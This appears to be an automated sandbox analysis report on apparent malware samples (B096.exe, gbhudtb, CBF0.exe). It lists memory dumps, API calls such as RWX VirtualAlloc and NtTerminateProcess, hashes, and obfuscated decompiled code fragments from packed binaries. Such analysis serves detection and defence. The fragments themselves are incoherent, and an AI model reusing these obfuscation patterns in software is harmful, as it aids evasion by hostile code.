Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 86F0F631A807117FD7213BF5988EBAFB7E8BF49229F105668F646910C0DB70E8054A61

Uniqueness

Uniqueness Score: -1.00%

Function 02EB2F43, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02EB2F94

Memory Dump Source

Source File: 00000017.00000002.437962146.0000000002EAE000.00000040.00000001.sdmp, Offset: 02EAE000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 02cf2aacba920b13f82155f7b81ef23da2667b03b04c3fb2ce4f2ca0e9e08625
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F9113F79A40208EFDB01DF98C985E99BBF5AF08350F05C094F948AB361D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: B096.exe PID: 6404 Parent PID: 3352 B096.exeCOMMON

Executed Functions

Function 02C60007, Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.501802487.0000000002C60000.00000040.00000001.sdmp, Offset: 02C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ee0f752a9a187ccd21c47012d3009515a8af43aa3e5121cb86c4dc65b52c7c
Instruction ID: bf351cbda0fc2bbca1aa8840fb89ce1362196beae30a6f0f0a4781c0da571c0d
Opcode Fuzzy Hash: 74ee0f752a9a187ccd21c47012d3009515a8af43aa3e5121cb86c4dc65b52c7c
Instruction Fuzzy Hash: F921277560D3E44FC30B8F788C6458A7FF99F8B20070944EAD185CF2A2DA348D0AC7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02C60040, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.501802487.0000000002C60000.00000040.00000001.sdmp, Offset: 02C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11d9019b5a5fad320861de4ce33f22839f73f00ab9609dbea514bea2a126b3dc
Instruction ID: b50777f5e8c8e224d4a0ccdba44125f9c90716566805055d7a7622790376f66d
Opcode Fuzzy Hash: 11d9019b5a5fad320861de4ce33f22839f73f00ab9609dbea514bea2a126b3dc
Instruction Fuzzy Hash: ACF0F476B001285F832CEFB9985899F77EEDBC8250B008939D10ADB754DE34D9028BD5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: gbhudtb PID: 3796 Parent PID: 5332 gbhudtbCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001C.00000002.449053753.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: CBF0.exe PID: 6000 Parent PID: 3352 CBF0.exeCOMMON

Executed Functions

Function 004017A3, Relevance: 3.1, APIs: 2, Instructions: 56
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004017A3(signed int __edx, void* __edi, void* __esi, void* __fp0) {

				asm("wait");
				 *(0x7684bd6c + __edx * 4) =  *(0x7684bd6c + __edx * 4) >> 1;
			}

0x004017a6
0x004017aa

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.451941308.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction ID: 5bd60c2b3e8a068e4466346cbc0defb5667620a0c4f183a3ee32389aea7e8ad2
Opcode Fuzzy Hash: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction Fuzzy Hash: 3E01C033648100EBE700BA909C42E6A3325AF00700F24C137FA53BA1E1C63EDB22975B

Uniqueness

Uniqueness Score: -1.00%

Function 0040181C, Relevance: 3.1, APIs: 2, Instructions: 55
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0040181C(void* __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t24;

				_t19 = __edx;
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, _t20, _t21, _t24);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_push(0x1851);
				asm("les eax, [ebx+ebp*8]");
				_push(0x66);
				__esp = __esp + 4;
				return __eax;
			}

0x0040181c
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x0040188b
0x00401894
0x004018a3
0x004018a8
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.451941308.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction ID: 0d4c73ff1a25ccc0af209e25dff701d5f0484e4d803941be834223819e423ed0
Opcode Fuzzy Hash: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction Fuzzy Hash: DA019E33608204EBE7007A949D46D6A3329EF04714F24C137FA07791E1D63E9B22A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401828, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00401828(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t22;
				void* _t25;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				asm("enter 0xdd16, 0x68");
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, __edi, __esi, _t25);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(); // executed
				asm("les eax, [ebx+ebp*8]");
				__esp = __esp + 4;
				__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
				__edi = 0x66;
				__esi = 0x1851;
				__ebx = 0xffffffff;
				__esp = __ebp;
				__ebp = 0;
				return __eax;
			}

0x00401828
0x00401828
0x00401828
0x00401828
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x00401894
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.451941308.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction ID: b329b9df0df391f908064f7b6fb4b650575042adab4467ec8a7c1b58a8870e1c
Opcode Fuzzy Hash: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction Fuzzy Hash: F701B533648200EBE700BB909C42E6A37259F04701F248137FA53791E1D63ED722E72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017DA, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004017DA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t31;
				void* _t39;
				signed int _t40;

				L0:
				while(1) {
					_t31 = __edi;
					_t16 = __eax;
					__eax = __esp;
					__esp = _t16;
					_t17 = __eax;
					__eax = _t16;
					__esp = _t17;
					__eax = __edi * 0xffffff88;
					__eflags = __eax;
					if(__eflags >= 0) {
						L21:
						_push(0x66);
						__esp = __esp + 4;
						L23:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						__ebx =  *((intOrPtr*)(__ebp + 8));
						Sleep(0x1388);
						__eax = __ebp - 4;
						_push(__ebp - 4);
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *((intOrPtr*)(__ebp + 0xc)));
						_push(__ebx); // executed
						__eax = E004013A0(__ebx, __edi, __esi); // executed
						__eflags = __eax;
						if(__eax != 0) {
							L24:
							_push( *((intOrPtr*)(__ebp + 0x14)));
							_push( *(__ebp - 4));
							L25:
							_push(__eax);
							_push(__ebx); // executed
							__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
						}
						L26:
						__eax =  *__ebx(0xffffffff, 0); // executed
						L29:
						L27:
						_push(0x1851);
						__eax =  *__esp;
						L28:
						__al = __al & 0x00000083;
						asm("les eax, [ebx+ebp*8]");
						__eax = __eax + 0xefeb0eeb;
						__eflags = __eax;
						L30:
						L35:
						L31:
						_push(0x66);
						L32:
						L33:
						__esp = __esp + 4;
						L34:
						L36:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						L14:
						_push(0x867f6b6b);
						goto 0x363cf8f5;
						asm("adc byte [esp+edx*4+0x17b0901f], 0x50");
						if(__eflags > 0) {
							L5:
							asm("stosb");
							_t5 = __eax;
							__eax = __esp;
							__esp = _t5;
							asm("loopne 0xffffffbe");
							_pop(ds);
							asm("stosb");
							_pop(ds);
							asm("ficom dword [eax+0x459c7d17]");
							if(__eflags < 0) {
								L6:
								_push(__edx);
								asm("pushfd");
								asm("movsd");
								_push(__esp);
								asm("repne cmp [0x9494a494], edi");
								asm("loopne 0xffffff9a");
								L7:
								asm("wait");
								_t6 = __eax;
								__eax = __esp;
								__esp = _t6;
								_t7 = __eax;
								__eax = _t6;
								__esp = _t7;
								__eax = __edi;
								__edi = _t6;
								_t10 = 0x7684bd6c + __edx * 4;
								 *_t10 =  *(0x7684bd6c + __edx * 4) >> 1;
								__eflags =  *_t10;
							}
							L8:
							__ebp = 0x7f737684;
						} else {
							L15:
							if (__eflags >= 0) goto L11;
							L16:
							asm("xlatb");
						}
					}
					L37:
				}
				L3:
				_t4 = _t31;
				_t31 = _t39;
				_t39 = _t4;
				if(_t40 > 0) {
					_t2 = _t31 + 0xe;
					 *_t2 =  *(_t31 + 0xe) << 0x4d;
					_t40 =  *_t2;
					asm("cmpsd");
					goto L3;
				}
				return _t31;
				goto L37;
			}

0x004017da
0x004017da
0x004017da
0x004017db
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017dc
0x004017dd
0x004017dd
0x004017e0
0x0040183d
0x0040183d
0x00401842
0x0040184c
0x0040184c
0x00401851
0x00401859
0x0040185c
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186c
0x0040186e
0x00401870
0x00401870
0x00401873
0x00401876
0x00401876
0x00401877
0x00401878
0x00401878
0x0040187d
0x00401881
0x0040189a
0x0040188b
0x0040188b
0x00401890
0x00401892
0x00401892
0x00401894
0x00401897
0x00401897
0x0040189d
0x004018af
0x004018a3
0x004018a3
0x004018a4
0x004018a8
0x004018a8
0x004018ab
0x004018b2
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017e2
0x004017e2
0x004017e2
0x004017e7
0x004017ec
0x004017f5
0x00401788
0x00401788
0x00401789
0x00401789
0x00401789
0x0040178a
0x0040178c
0x0040178d
0x0040178e
0x0040178f
0x00401795
0x00401797
0x00401797
0x00401798
0x00401799
0x0040179a
0x0040179b
0x004017a2
0x004017a3
0x004017a6
0x004017a7
0x004017a7
0x004017a7
0x004017a8
0x004017a8
0x004017a8
0x004017a9
0x004017a9
0x004017aa
0x004017aa
0x004017aa
0x004017aa
0x004017ae
0x004017ae
0x004017f7
0x004017f7
0x004017f7
0x004017f8
0x004017f8
0x004017f8
0x004017f5
0x00000000
0x004017e0
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x00401771
0x00000000
0x00401771
0x00401775
0x00000000

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.451941308.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction ID: a894bf59af688e7f2aefbaf232239d4a7e11f6dbdc9ab261776b6b6844387aa1
Opcode Fuzzy Hash: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction Fuzzy Hash: 0A018432644201EBEB00BA909D42D6E3325AF44714F248137FA17BA1E1D63EDB22976B

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004017F8(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t30;
				void* _t37;
				signed int _t39;

				L0:
				while(1) {
					_t30 = __eax;
					asm("xlatb");
					__eax =  *__edi * 8;
					__eflags = __eax;
					_t12 = __eax;
					__eax = __esp;
					__esp = _t12;
					_t13 = __eax;
					__eax = _t12;
					__esp = _t13;
					__eax = _t13;
					__esp = _t12;
					if(__eflags > 0) {
						L2:
						asm("cmpsd");
						L3:
						_t3 = _t30;
						_t30 = _t37;
						_t37 = _t3;
						if(_t39 > 0) {
							L1:
							_t1 = _t30 + 0xe;
							 *_t1 =  *(_t30 + 0xe) << 0x4d;
							_t39 =  *_t1;
							goto L2;
						}
						L4:
						return _t30;
					} else {
						L12:
						asm("cld");
						if (__eflags < 0) goto L3;
						L13:
						_t15 = __eax;
						__eax = __edi;
						__edi = _t15;
					}
					L37:
				}
				if(__eflags > 0) {
					__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
					__eax =  *__ebx(__ebx, __eax); // executed
					__eax =  *__esp;
					__al = __al & 0x00000083;
					asm("les eax, [ebx+ebp*8]");
					__eax = __eax + 0xefeb0eeb;
					__eflags = __eax;
					__esp = __esp + 4;
					__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
					__edi = 0x66;
					__esi = 0x1851;
					__ebx = 0xffffffff;
					__esp = __ebp;
					__ebp = 0;
					return __eax;
				} else {
					__bh = __bh &  *(__edi - 0x65);
					asm("clc");
					asm("popfd");
					asm("lodsd");
					asm("enter 0xe0fc, 0x97");
					_t19 = __eax;
					__eax = __esp;
					__esp = _t19;
					_t20 = __eax;
					__eax = _t19;
					__esp = _t20;
					asm("int 0x7f");
					__eax = __ecx;
					__ecx = _t19;
					__bh = 0x7f;
					asm("pushad");
					asm("repne jl 0xffffffd4");
					asm("insd");
					__ebp =  *(__ebx + 0x5f) * 0x5e;
					__eflags = __ebp;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				goto L37;
			}

0x004017f8
0x004017f8
0x004017f8
0x004017f8
0x004017d0
0x004017d0
0x004017d3
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d4
0x004017d5
0x004017d5
0x004017d6
0x00401771
0x00401771
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x0040176a
0x00000000
0x0040176e
0x00401775
0x00401775
0x004017d8
0x004017d8
0x004017d8
0x004017d9
0x004017da
0x004017da
0x004017da
0x004017da
0x004017da
0x00000000
0x004017d6
0x004017f9
0x00401878
0x00401881
0x00401890
0x00401892
0x00401894
0x00401897
0x00401897
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017fb
0x004017fb
0x004017fe
0x004017ff
0x00401801
0x00401802
0x00401806
0x00401806
0x00401806
0x00401807
0x00401807
0x00401807
0x00401808
0x0040180a
0x0040180a
0x0040180b
0x0040180e
0x0040180f
0x00401812
0x00401813
0x00401813
0x00401817
0x00401818
0x00401818
0x00401819
0x00401819
0x00000000

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.451941308.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction ID: 5d664576ed34e104d60d9d9409068ebedb4ca3d0074abe090f0a839b89efd0e8
Opcode Fuzzy Hash: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction Fuzzy Hash: DCF0C233748211DAE205B6599C83B29B3909F11724F24813BE557BB1E2D26E9622525F

Uniqueness

Uniqueness Score: -1.00%

Function 6B58967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5D1C65,000000FF,00000007,?,00000004,00000000,?,?,?,6B5D1951,00000065,00000000,?,6B5D0C5E,?,00000000), ref: 6B589694

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 90bf7809a0d4f1186a39461f4bb984df43ddeec40efbafe6054c5e58c7c995d0
Instruction ID: 13b59aca7327eafdd0bd03bbf59d07191310e4dca995dd24aa0c492b17d27bca
Opcode Fuzzy Hash: 90bf7809a0d4f1186a39461f4bb984df43ddeec40efbafe6054c5e58c7c995d0
Instruction Fuzzy Hash: 81B09BB1D454D5C5F601E76157087577E5177D0741F16C061D1120645B477CC491F5B5

Uniqueness

Uniqueness Score: -1.00%

Function 6B5899A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5D1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B5899AA

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccb883f0439af0209116b135198ab2363e1e9bc0cf97bff192e7e47bbda07868
Instruction ID: b25eab5ef11353f1ff5d5a96e1b25b2880270fc4df52e9b06e43fd1f12f5cdde
Opcode Fuzzy Hash: ccb883f0439af0209116b135198ab2363e1e9bc0cf97bff192e7e47bbda07868
Instruction Fuzzy Hash: CB9002E13C504442E10072595514B46044697E1381F51C025E1154918D866DCC527176

Uniqueness

Uniqueness Score: -1.00%

Function 6B589860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5D15BB,00000073,?,00000008,00000000,?,00000568), ref: 6B58986A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1b9a2649be7530e4f1408cb86ad3a3d9da8e6ed238a1ab488326db1021fe4c80
Instruction ID: 58558d5b52d100b6f793f006463f44a5921ce0f63028700eac952146ba7ba581
Opcode Fuzzy Hash: 1b9a2649be7530e4f1408cb86ad3a3d9da8e6ed238a1ab488326db1021fe4c80
Instruction Fuzzy Hash: D69002B128504413E11172595604747044A57D02C1F91C422A051491CD96AA8D52B171

Uniqueness

Uniqueness Score: -1.00%

Function 6B589820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5A2EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6B58982A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
